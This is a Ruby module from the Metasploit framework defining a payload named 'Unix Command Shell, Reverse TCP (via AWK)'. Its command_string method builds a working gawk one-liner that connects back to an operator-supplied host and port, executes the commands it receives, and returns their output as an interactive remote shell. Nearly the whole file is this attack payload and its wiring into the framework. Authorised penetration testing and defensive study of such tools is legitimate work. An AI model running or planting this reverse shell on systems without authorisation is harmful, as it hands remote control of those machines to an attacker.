56 lines
1.5 KiB
Ruby
56 lines
1.5 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'msf/core/handler/reverse_tcp'
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require 'msf/base/sessions/command_shell'
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require 'msf/base/sessions/command_shell_options'
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module Metasploit3
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include Msf::Payload::Single
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include Msf::Sessions::CommandShellOptions
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'Unix Command Shell, Reverse TCP (via AWK)',
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'Description' => 'Creates an interactive shell via GNU AWK',
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'Author' =>
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[
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'espreto <robertoespreto[at]gmail.com>',
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'Ulisses Castro <uss.thebug[at]gmail.com>',
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'Gabriel Quadros <gquadrossilva[at]gmail.com>'
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],
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'License' => MSF_LICENSE,
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Handler' => Msf::Handler::ReverseTcp,
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'Session' => Msf::Sessions::CommandShell,
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'gawk',
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'Payload' =>
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{
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'Offsets' => { },
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'Payload' => ''
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}
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))
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end
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#
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# Constructs the payload
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#
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def generate
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return super + command_string
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end
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#
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# Returns the command string to use for execution
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#
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def command_string
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"awk 'BEGIN{s=\"/inet/tcp/0/#{datastore['LHOST']}/#{datastore['LPORT']}\";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'"
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end
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end
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